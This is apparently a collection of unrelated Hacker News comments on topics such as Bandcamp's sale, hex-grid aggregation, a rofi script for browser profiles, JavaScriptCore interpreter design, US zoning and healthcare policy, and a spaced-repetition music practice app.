A lot of people have built the idea of being "right" so deeply into their identity that admitting they are wrong is unthinkable and traumatizing. They weave a narrative about how they were really right in some way.

Normally, people have been wrong so many times in their life that they learn to admit it, learn, and move on. Only if you are highly insulated from objective reality can you maintain some idea that being "right" is one of your qualities.

Where is such insulation from reality happening? College is the most obvious answer. Rather than being a place to be challenged intellectually, it has become a place to learn the current politically-correct perspectives and have them reinforced constantly.

I have no idea why someone at the NYT was not more skeptical of an official from one of the parties involved in the conflict. But once the headline goes out, they are "right" and that will never change.
Having recently finished I Am A Strange Loop, I'm starting to think it's harder for any formal system to not be Turing-complete than it is for it to be so.

Which makes no sense if you work with aggregated data, because your summed aggregations start to deviate from direct ones. You have to basically aggregate the entire dataset of millions of rows again and again for each level, instead of just doing a group-by at lowest level once, and then grouping the groups (which are just thousands).

If you have H3 and several million records, every aggregation takes noteable amount of time.

It also means that you must keep those indice for each record for each level. Because the parent function gives wrong cell for points on the fringe.
I do something similar, but I use a bash script with rofi to display a menu of available profiles. I then bind a hotkey (Super-Shift-P for Profiles) that launches the script.

I use Firefox for my daily driver, but for profiles I use librewolf. This makes it easier to keep things separated when using the window manager to switch between windows of the same class (which I bind to Super-`).

#!/usr/bin/env bash

BROWSER="librewolf"

typeset -A menu
# empty value means value is the same as the key
menu["personal"]=""
menu["banking"]=""

rofi_args=(
-p "$BROWSER profile"
-dmenu
-i # case-insensitive
-font "Hack 20"
)

if selection=$(printf "%s\n" "${!menu[@]}" | sort -u | rofi "${rofi_args[@]}"); then
profile=${menu[$selection]}
profile=${profile:-$selection}
nohup "$BROWSER" -P "$profile" &>/dev/null &

TL;DR Bandcamp.

> The companies that buy up sites like Bandcamp are interested in nothing except ensuring the executives’ pockets get lined appropriately

I like how it presents things as if Bandcamp's original management had no part in selling.

This is not China. They were not forced to sell. They were the ones who had to decide whether to do it or not, but somehow they are not to blame for any consequences.

But predicting out real world chaotic orbits a few years in advance to the required precision is fairly trivial. You only really need high precision to line up a slingshot for the next slingshot not the slingshot after that. A last minute correction of 1 mile per hour * 1 month ~= 720 miles.

It is a bit like Anki, yes. I actually did have an idea to do an event practice feature (e.g. you could be fed mostly Christmas music for the entirety of December).

I admit that I did a poor job of explaining the function of Muziko in the README; I've updated it. I complained about Apple in the README because now I can just point Apple users there if they ask for the app on their iPhones :D
Hmm. I don't find that theory convincing. That sort of humor does not really fit in with their body of work, but random absurdity definitely does.

Hamsters aren't really known for promiscuity. Fecundity perhaps, but then the insult is "your mother had a lot of kids"? Doesn't meet the MP standards.

Elderberry wine smells no more like elderberries than wine smells like grapes, so getting from "...your father smelt of elderberries" to "he was a drunk" is quite a stretch. Why not "it means he ate too much elderberry strudel" if we're going for alternate explanations?

Top marks for creativity though.

Its a good question but I suspect the answer depends on your context.

I have seen hex grids used a lot in approximating geographic contours. Its possible that for a given number of cells they do better approximations than a regular, but one would need to check this mathematically
Duro – a marketplace for on-demand gym services (YC W24 Applicant)
Hey Hacker News! I'm Logan, co-founder at Duro.

After traveling for work for years, I got fed up with how challenging it is to book a day pass at a gym. Gabriel, Duro's other co-founder & I decided to solve this by creating a simple marketplace for gyms to sell passes, classes and other on-demand services.

We're different in that we enable customers to pay as they go instead of getting another membership.

We recently launched our MVP for web with four gym partners in Los Angeles and we applied to YC W24. (duroapp.com)

What do you think of this idea? Does this product offer what you would need it to? If not, please give us your feedback.

We've also made our application to YC public.

The JavaScriptCore interpreter retained the original KJS AST interpreter model for many years, during which it was faster than the Firefox bytecode of the era, which indicates quite clearly that performance is not an automatic outcome of a bytecode interpreter. Functionally your "very specialized closures" are simply virtual calls (a closure is just a function pointer and a context object which is a single indirection less than a vcall).

There are a bunch of reasons we did eventually give up on the AST interpreter, but one of the biggest was that by the end we were seeing more than of 15% of runtime being just the call+return overhead. But there are a bunch of other things that make bytecode better: the AST interpreter is inherently recursive so it wasn't uncommon to have code that would fail in JSC due to stack overflows because an expression like `function f() {a(b(c(df()))}` would fundamentally 5x the recursive calls per js call (this is just to give you an idea of how recursive things were, the example above strictly always overflows). The bytecode also made it much easier to perform some inter-expression optimision under the latency requirements of a js interpreter, as well as reducing the GC costs with JSC (JSC uses a conservative collector that does stack scanning).
The link to YouTube is simply a link to a backing track for that song. My motivation was mainly so I wouldn't have to navigate my guitar teacher's website every time I wanted to practice each song; now I can open the song in Muziko and click the link directly to the page with the backing track.
This is a bit of a spoiler, but if you cheat your way through the videos it does go all the way to a trillion.
This blog post also reminded me of the Red Faction[1] game franchise. I remember it specifically taught players to take alternate paths or unlock doors by blasting out walls and/or anything else in the entire environment (with some exceptions).

But Bezos didn't invent any of that stuff. As the other commenter said, he executed best on 'put a store on the internet' and made a bunch of money doing that. He then used that money to either acquire other businesses, like Twitch, or hire other people to invent more things, like AWS. That's the whole point of what OP's comment. Bezos took something completely reasonable for a single person to do, 'put a store on the internet' better than anyone else in the mid-90s, and used that as an entry point to reaping benefits from the ideas and the labor of hundreds of thousands of other people over decades.

It could be more positive than despise for another language. The preference for a language might be out of emotional attachment at the specific workflows in which that toolchain allowed creativity to flow.

I think a lot of this was related to the risk corridor payments insurers were entitlted to for 2014-2016 but which Congress simply refused to fund, resulting in a lawsuit that reached the Supreme Court in 2020 ruling that, yes, the payments had to be made.
Im pretty sure Siracusa’s review was not standard fare for Ars or really any publication whether formal or not.

His reviews were an exception and the fact that they don’t host his reviews anymore doesn’t say anything about how Ars has changed (especially because Siracusa himself doesn’t do the reviews probably because the new OS’s aren’t interesting enough).

But those reviews were awesome. Since I never upgraded my OSX until x.1 at least but usually only after x.2, the real reason I enjoyed OSX release day was because it meant a great evening spent reading John’s review.
one interesting use of hex grids I came across is Sunset Overdrive's implementation of a streaming open-world system: https://www.gdcvault.com/play/1022268/Streaming-in-Sunset-Ov... hexagons are closer to circles than squares are, so they define chunks of the world as circles (positional coordinates for stuff in the chunk are offset from the center of the circle), packed in a hex grid. they explain the rationale more in the video, but if I remember correctly it just kinda makes a lot of sense given that a.) Sunset City's layout isn't very square-grid-based, and b.) it reduces the number of chunks per concentric "LOD layer" surrounding the chunk the player presently occupies (6 instead of 8 for the first layer, etc.)

> Those people weren't forced to leave the cities, they were given opportunity to do so and chose to do it.

Let's go back to xyst's comment at https://news.ycombinator.com/item?id=37951319 . "It’s a choice shoved down our throats by decades of destroying urban cores, bulldozing poor communities/neighborhoods in favor of massive highway projects, and removing bustling streets of human activity with useless parking lots."

xyst never said there wasn't a choice. Instead, the thumb was pressed down on scale, hard, to encourage people to make a specific choice.

You said that was a-historical.

It was not.

> People continue to choose to live there.

What choice do they have? The US zoning system for decades has mandated either high-rises or single-family car-dependent suburbia.

If someone wants to live in a mixed-use area with walking distance from school, restaurant, parks, and restaurants, with mass-transit options ... where do you suggest they live?

> They weren't forced.

Yes, they were. Who do you think enforces zoning requirements? Answer: the police force.

Zoning restrictions are the reason why most places are only single-family homes. The duplexes and short-rises of the immediate post-war suburb I grew up in are no longer allowed.

> Do you think the vast majority of people living in the suburbs just like wake up every day thinking

Now you're just being silly - of course not!

So let's back back to the actual issue. You said xyst's comment at https://news.ycombinator.com/item?id=37951319 was a-historical, but have yet to show why it's historically inaccurate.

Do you think the vast majority of people have a choice of living somewhere which isn't car dependent?

If they don't have the choice, is there really a choice? Can you really say people "prefer" a car if they have no choice without a car?
Communities that form around a website or service are living things - they need nourishment to thrive, and can certainly be killed. The only sustainable way forward is to form artist-driven, bottom-up, non-profit organizations to nurture communities like BandCamp.

The rule is: every for-profit company will lose its way in the drive for higher and higher profits, or it'll be killed for having not kept that promise. It's inevitable. Every company in existence now will die one day.

There's no guarantee a democratic organization would last forever, but at least its not subject to the artificial drive to grow forever.
I was a bit curious about the MAC address since it isn't locally administered which indicates to me that someone likely deliberately chose this range of addresses.

https://www.google.com/search?q=%2290%253Ade%253A01%22+linod...

Googling for '"90:de:01" linode' and '"90:de:00" linode' indicates that addresses from these blocks have been assigned to other linode VMs recently. I sadly don't have a linode VM of my own to compare with right now but it would seem like the traffic has been routed to another VM on linode infrastructure

I do find it interesting that it is so famous, but I think it’s probably due more to a confluence of coincidental events than anything inherent to the painting. Rerun the universe simulator 1M times (adding a hard requirement that this paining gets painted every time) and I’d bet this level of popularity is an outlier.

I just don’t think popularity means much outside of a lot of people knowing about it in some vaguely positive light. Sometimes things are popular because they are incredible (the Beatles), sometimes they are popular just because of randomness or situational context (most pre-20th century American literature)
I bet this article will get far more imprints than yet another picture of a dead Palestinian baby. The Gaza strip has an median age of 18, and collateral damage is non-discriminate by nature, so it's not like it's plausible to imagine that babies aren't dying in large numbers.

At the end of the day, Bandcamp's founders sold to Epic. We all knew that was going to have a bad ending, we just didn't know the details. Now we know the details.

I mean, sure, "they" being "capitalist overlords", created a world where the Bandcamp founders would need to sell out in order to have am assured secure life for themselves and offspring. But they did sell out. Epic is just doing what Epic does.

I am curious what success stories people have with versioned databases, and whether those success stories could be replicated by a combination of bitemporal schema design and infrequent snapshots/backups. That is, to avoid the complexity and performance issues of adding a temporal dimensions to 100% of your data instead of the X% that actually needs it.
Honestly, I think the introduction and conclusion are almost always more important than the abstract. If you read the abstract, introduction, and conclusion, you should be able to understand the scope of what was done and what the paper actually shows.
Just need price controls (at least limited ones, and the credible threat of more) plus a good public fall-back option, and strong standards for what health insurance has to cover. That seems to be the minimum (Singapore model). Those elements seem to be the common factors in basically all OECD healthcare systems outside the US. Taking it farther can work, and may even help, but those seem to be the things you have to have (though price controls can also be implicit, via monopsony). “Credible threat of more” for the price controls may not work in places less authoritarian than Singapore, so you may have to swing closer to the price-book model of places like Japan, if not just go single-payer.

I do generally agree with your point here that this isn't very revolutionary. However it's worth pointing out that Apple chips have lots of on-package memory but relatively little on-die and they are quite different from this IBM chip because of that.
This isn’t lying, it’s measuring something accurately but not measuring what you want it to measure. There isn’t a contract or regulation that they can’t prioritize certain traffic.

It does feel a bit deceptive, I grant. But to me, lying would be if they tricked speedtest into display 10mbit when only 2mbit of traffic was transferred.

Everyone games the tests. That’s why you can’t trust just about any performance test unless you run it for your workload.

Frankly, I didn't bother looking for any similar apps before writing Muziko, so I can't tell you for sure how it is or is not like Anki, but Muziko works on the same spaced-repetition principle that Anki would.

Strictly speaking, there are no music-specific features other than branding and UI labels; however, I hope to add some more music-specific features like a metronome and tuner in the near future.*

*I have used GuitarTuna in the past for a metronome, but I'm fed up with how slow it is and all the popups trying to get you to subscribe to Yousician, so I'd love to add a metronome to Muziko so I can delete GuitarTuna for once and for all :D (and yes, I could just get another metronome app, but I haven't. I'm lazy like that.)
